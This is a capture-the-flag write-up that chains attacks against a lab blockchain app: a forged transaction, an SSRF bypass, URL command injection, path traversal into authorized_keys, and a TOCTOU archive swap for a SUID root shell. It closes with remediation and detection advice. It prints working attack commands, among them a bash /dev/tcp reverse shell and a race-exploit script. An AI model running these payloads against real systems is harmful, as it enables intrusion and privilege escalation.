BlockSynergy
0.0.0.0, command injection through the
userinfo half of a URL, a smart-contract debug hook with path traversal into
authorized_keys, FTP credentials sitting in root's process arguments, and finally a
TOCTOU race between sha256sum and tar that turned a
backup restore into a SUID root shell.
walter → smart-contract path traversal → SSH as
hank → exposed FTP credentials → restore-archive TOCTOU race → SUID root shell.
- Target
- blocksynergy.htb
- Host OS
- Linux
- Foothold
- Forged reward → SSRF (
0.0.0.0bypass) → command injection inping_node - Privesc
- Contract-hook path traversal →
hank→ restore-archive TOCTOU → root - Time to root
- ~1 hour, including lost shells and race troubleshooting
01Enumeration
echo '<target> blocksynergy.htb' | sudo tee -a /etc/hosts
nmap -sC -sV -p- -oA blocksynergy <target>
| Port | Service | Notes |
|---|---|---|
| 22 | ssh | OpenSSH |
| 8080 | http | Werkzeug / Flask — blockchain dashboard, wallet and VIP features |
02Wallet creation and VIP access
A wallet is created through /dashboard/wallet, and the response hands back both keys:
curl -sS -L -c cookies.txt -b cookies.txt \
-X POST \
-F 'action=create' \
-F 'filename=blocksynergy' \
http://blocksynergy.htb:8080/dashboard/wallet \
-o wallet.json
The application then accepts a forged coinbase-style transaction — no mining, no valid signature, just the magic sender name:
PUB=$(jq -r '.public_key' wallet.json)
jq -n \
--arg receiver "$PUB" \
--arg timestamp "$(date '+%Y-%m-%d %H:%M:%S.%6N')" \
'{
sender: "Blockchain_Reward",
receiver: $receiver,
amount: 100,
signature: "Blockchain",
timestamp: $timestamp
}' > reward.json
curl -sS -c cookies.txt -b cookies.txt \
-H 'Content-Type: application/json' \
--data @reward.json \
http://blocksynergy.htb:8080/broadcast_transaction
# Added!
The resulting balance is enough to unlock the VIP node-management panel.
Reward transactions trusted by name
The transaction endpoint trusted the special Blockchain_Reward sender and every
attacker-controlled field alongside it. It never enforced a legitimate mining workflow, and never
validated the reward transaction cryptographically.
03SSRF into the admin panel
The VIP panel lets a user register and test node URLs. Its blocklist rejects the obvious loopback
spellings — 127.0.0.1, localhost, [::1] — and happily accepts
0.0.0.0.
curl -sS -L -c cookies.txt -b cookies.txt \
--data-urlencode 'action=register' \
--data-urlencode 'node=http://0.0.0.0:8080/admin/nodes/manage' \
http://blocksynergy.htb:8080/dashboard/vip/nodes \
-o register.html
curl -sS -b cookies.txt \
http://blocksynergy.htb:8080/dashboard/vip/nodes/test_node/0
Testing the node makes the server request its own localhost-only admin interface. On Linux,
0.0.0.0 reaches a locally bound service — it is just another spelling of the loopback
destination, and an incomplete hostname blocklist never covers all of them.
04Command injection in ping_node
The admin node-management page exposes a ping_node action. URL parsing validates the
hostname, but the raw userinfo portion of the supplied URL is later handed
to a shell. So the parser sees 0.0.0.0 while the shell sees metacharacters:
http://x;<COMMAND>;a@0.0.0.0:8080/
A time-based probe confirms blind execution — injecting $(sleep 5) makes the request
take about five seconds.
05Reverse shell as walter
Slashes in the payload fight with URL parsing, so the reverse-shell command is hex-encoded locally
and rebuilt with xxd on the target.
sudo ip link set dev tun0 mtu 1300
rlwrap nc -lvnp 4444
LHOST=<tun0-ip>
LPORT=4444
CMD="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
HEX=$(printf '%s' "$CMD" | xxd -p -c 999)
INJECT=$(printf '%s' \
'http' \
'://x;echo${IFS}' \
"$HEX" \
'|xxd${IFS}-r${IFS}-p|bash;a@0.0.0.0:8080/')
ENC=$(python3 -c \
'import sys,urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' \
"$INJECT")
TRIGGER=$(printf '%s' \
'http' \
'://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=' \
"$ENC")
Register the node, find its index via /nodes, then trigger it:
curl -sS -L -c cookies.txt -b cookies.txt \
--data-urlencode 'action=register' \
--data-urlencode "node=$TRIGGER" \
http://blocksynergy.htb:8080/dashboard/vip/nodes \
-o shell-node.html
curl -sS http://blocksynergy.htb:8080/nodes -o nodes.json
NODE_ID=$(jq -r --arg u "$TRIGGER" \
'to_entries[] | select(.value==$u) | .key' \
nodes.json | tail -n1)
curl --max-time 10 -sS -b cookies.txt \
"http://blocksynergy.htb:8080/dashboard/vip/nodes/test_node/$NODE_ID" \
-o /dev/null
uid=1000(walter) gid=1000(walter) groups=1000(walter)
06Local enumeration
As walter, the interesting surface is all internal:
| What | Detail |
|---|---|
127.0.0.1:5000 | Flask smart-contract application, running as hank |
127.0.0.1:15432 | FTP service in a container |
/opt/blocksynergy | owned hank:developers, group-writable |
/var/restore_work | owned root:developers, mode 0775 |
| root cron | periodically runs the backup and restore scripts |
The trust relationships that matter:
waltercan reachhank's localhost-only Flask app.hankis in thedevelopersgroup.developerscan modify entries inside/var/restore_work.- root extracts "validated" backup archives out of that same directory.
07Smart-contract path traversal → SSH as hank
The Flask app on 5000 has a smart-contract debug hook. The contract's log_file metadata
is appended to a fixed logs directory with no traversal sanitising:
logfile = f"/opt/staging/smart_contracts/logs/{log_file}"
When the hook fires, attacker-controlled log_content is appended to whatever path that
resolves to. Point it at hank's authorized_keys:
ssh-keygen -q -t ed25519 -N '' -f /tmp/hankkey
python3 -c '
import json
p = open("/tmp/hankkey.pub").read().strip()
d = {
"name": "debug",
"owner": "Developer",
"logic": {"claim": "allow"},
"storage": {},
"debug": "True",
"hooks": {"on_claim": "log"},
"__meta__": {
"log_file": "../../../../home/hank/.ssh/authorized_keys",
"log_content": {"on_claim": "\n" + p}
}
}
json.dump(d, open("/tmp/contract.json", "w"))
'
curl -sS -c /tmp/hank.cookies -b /tmp/hank.cookies \
-F 'action=upload_contract' \
-F 'contract_file=@/tmp/contract.json;type=application/json' \
http://127.0.0.1:5000/dashboard \
-o /tmp/upload.html
curl -sS -c /tmp/hank.cookies -b /tmp/hank.cookies \
--data 'action=contract_claim' \
http://127.0.0.1:5000/dashboard \
-o /tmp/claim.html
ssh -o StrictHostKeyChecking=no -i /tmp/hankkey hank@127.0.0.1
uid=1001(hank) gid=1003(hank) groups=1003(hank),1001(developers)
08Backup and restore analysis
pspy64 watches root's processes without needing root:
/tmp/pspy64 -p -i 10
The backup job puts its FTP credentials straight into the command line, where anyone local can read them:
curl -T <archive> ftp://ftpuser:<ftp-password>@127.0.0.1:15432/upload/<archive>
The restore daemon runs as root and watches for a marker file. Its workflow:
- Download
_opt_blocksynergy.tar.gzinto/var/restore_work. - Calculate its SHA-256.
- Compare against a trusted manifest.
- Extract that same pathname into
/.
curl ftp://ftpuser:<ftp-password>@127.0.0.1:15432/upload/_opt_blocksynergy.tar.gz \
-o /var/restore_work/_opt_blocksynergy.tar.gz
sha256sum /var/restore_work/_opt_blocksynergy.tar.gz
tar xvf /var/restore_work/_opt_blocksynergy.tar.gz -C /
Verify and extract open the file separately
Checksum verification and extraction each open the archive by pathname. Because
hank can rename files inside /var/restore_work, the validated pathname
can be replaced after sha256sum has opened it and before tar opens it —
a textbook TOCTOU.
09The malicious restore archive
mkdir -p /tmp/evil/opt/blocksynergy
cp /bin/bash /tmp/evil/opt/blocksynergy/rootshell
chmod 4755 /tmp/evil/opt/blocksynergy/rootshell
tar --owner=0 --group=0 --numeric-owner \
-czf /tmp/evil.tar.gz \
-C /tmp/evil opt/blocksynergy/rootshell
tar -tvzf /tmp/evil.tar.gz
# -rwsr-xr-x 0/0 ... opt/blocksynergy/rootshell
10Winning the race
inotifywait is not installed, so Python ctypes calls the inotify API
directly. The malicious archive is staged as a hidden file in the same directory, so the
swap is an atomic rename:
TARGET=/var/restore_work/_opt_blocksynergy.tar.gz
READY=/var/restore_work/.evil-ready.tar.gz
cp /tmp/evil.tar.gz "$READY"
rm -f "$TARGET" /opt/blocksynergy/rootshell
The watcher waits for the legitimate FTP download to close the archive, then for the next
IN_OPEN — which is sha256sum. That process already holds a descriptor to
the legitimate inode, so the pathname can be swapped immediately; root's subsequent tar
opens the replacement.
import ctypes
import os
import struct
directory = b"/var/restore_work"
filename = "_opt_blocksynergy.tar.gz"
ready = "/var/restore_work/.evil-ready.tar.gz"
target = "/var/restore_work/_opt_blocksynergy.tar.gz"
IN_CLOSE_WRITE = 0x08
IN_OPEN = 0x20
libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.inotify_init1(0)
libc.inotify_add_watch(fd, directory, IN_CLOSE_WRITE | IN_OPEN)
download_finished = False
print("watcher ready", flush=True)
while True:
data = os.read(fd, 4096)
offset = 0
while offset < len(data):
wd, mask, cookie, length = struct.unpack_from("iIII", data, offset)
offset += 16
name = data[offset:offset + length].split(b"\0", 1)[0].decode()
offset += length
if name != filename:
continue
if mask & IN_CLOSE_WRITE:
download_finished = True
print("download closed", flush=True)
elif download_finished and mask & IN_OPEN:
os.replace(ready, target)
print("archive swapped", flush=True)
raise SystemExit
With the watcher running, trigger the restore:
touch /opt/blocksynergy/restore
# watcher ready
# download closed
# archive swapped
ls -l /opt/blocksynergy/rootshell
# -rwsr-xr-x 1 root root ... /opt/blocksynergy/rootshell
/opt/blocksynergy/rootshell -p
# uid=1001(hank) euid=0(root) ...
11If this were your environment
Unvalidated reward transactions and SSRF via an incomplete blocklist
Balance — and with it the VIP feature tier — could be forged by naming the sender
Blockchain_Reward. The VIP node feature then fetched attacker-supplied URLs, guarded
only by a list of loopback spellings that omitted 0.0.0.0.
- Validate reward transactions cryptographically and only mint them through the mining workflow — never from a client-supplied field.
- Resolve, then check. Resolve the destination and reject every private, loopback, link-local and CGNAT range, rather than blocklisting hostname strings.
- Cage the fetcher in an egress-restricted context so a bypass reaches nothing, and never let a user-facing feature reach an admin-only interface.
OWASP: SSRF Prevention Cheat Sheet — allow-list destinations, block internal ranges
Command injection through the URL userinfo component
The hostname was validated, but a different part of the same URL — the userinfo — was passed unquoted to a shell. Validating one component and consuming another is the whole bug.
- Never build shell strings from user input. Invoke the binary with an argument vector (
subprocesswithoutshell=True), or use a native library instead of shelling out at all. - Validate the exact value you later use, not a neighbouring field parsed out of the same input.
- Re-serialise after parsing so anything the parser ignored cannot survive into the next stage.
CWE: CWE-78 OS command injection · CWE-20 improper input validation
Path traversal in contract metadata, and credentials in process arguments
A debug hook wrote attacker-controlled content to an attacker-controlled relative path, which
reached ~/.ssh/authorized_keys. Separately, root's backup job embedded the FTP
password in its command line, where any local user with pspy could read it.
- Canonicalise and constrain every path built from application metadata — resolve it, then assert it is still inside the intended directory. Reject rather than sanitise.
- Turn debug hooks off outside development; a "log to a file you choose" feature is an arbitrary-write primitive.
- Keep secrets out of
argv. Use--netrc, an environment file with restrictive permissions, or a credential helper./procis world-readable.
CWE: CWE-22 path traversal · CWE-214 exposure of sensitive information through process arguments
Root extracts archives from a group-writable directory after a separate checksum
The restore job verified an archive and then re-opened it by pathname to extract it as root, from a directory writable by a non-admin group. An atomic rename between the two opens replaced a trusted archive with a SUID-root payload.
- Verify and consume the same file descriptor. Open once, checksum the descriptor, extract from that descriptor — never re-resolve the path.
- Do not stage root-consumed files in a directory any unprivileged user can write to. Restore into a root-only working directory (
0700), then move into place. - Extract without privilege escalation potential: strip setuid/setgid bits (
tar --no-same-permissions, or extract as an unprivileged user into a staging tree), and refuse archives containing SUID entries. - Sign the archives and verify the signature over the bytes actually extracted, rather than trusting a manifest hash of a pathname.
CWE: CWE-367 TOCTOU race condition · CWE-732 incorrect permission assignment
12Detection — the blue-team side
- Transactions whose sender is a reserved/system name but which arrive over the public broadcast endpoint.
- Outbound requests from the web application to loopback or RFC1918 addresses — log the declared host and the resolved address.
- The web application spawning
/bin/shorbashat all; a Flask worker has no reason to. - Writes to any
authorized_keysoutside a provisioning workflow. - Renames inside root-consumed staging directories, and SUID files appearing anywhere after an extraction job.
13Takeaways
- Blocklists are fragile SSRF controls. Resolve the destination and check it against every private, loopback and link-local range.
- Validate the exact value the sensitive code consumes — not a different field parsed from the same string.
- Never pass user-controlled URL components to a shell.
- Paths from application metadata must be canonicalised and constrained to their intended directory.
- Credentials in command-line arguments are public to every local user.
- Validating a file and reopening it by name later is a race. Verification and consumption must share a file descriptor.
- Root must not extract archives from attacker-writable directories — the archive is only as trustworthy as the directory it sits in.
◆If this were my environment
Several validation failures were chained: SSRF, command injection, traversal and a race in a privileged backup/restore path. I would repair the trust boundaries first, then constrain the blast radius of each worker.
- Allow-list outbound destinations and protocols, validate every redirect, and enforce egress controls outside the application.
- Replace shell command construction with fixed APIs and argument arrays; canonicalize paths and require them to remain beneath an approved root.
- Make backup and restore operations atomic, root-owned and symlink-safe; open files by descriptor and verify ownership and inode state before use.
- Remove unnecessary SUID files and isolate blockchain, web and maintenance functions under separate service identities.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.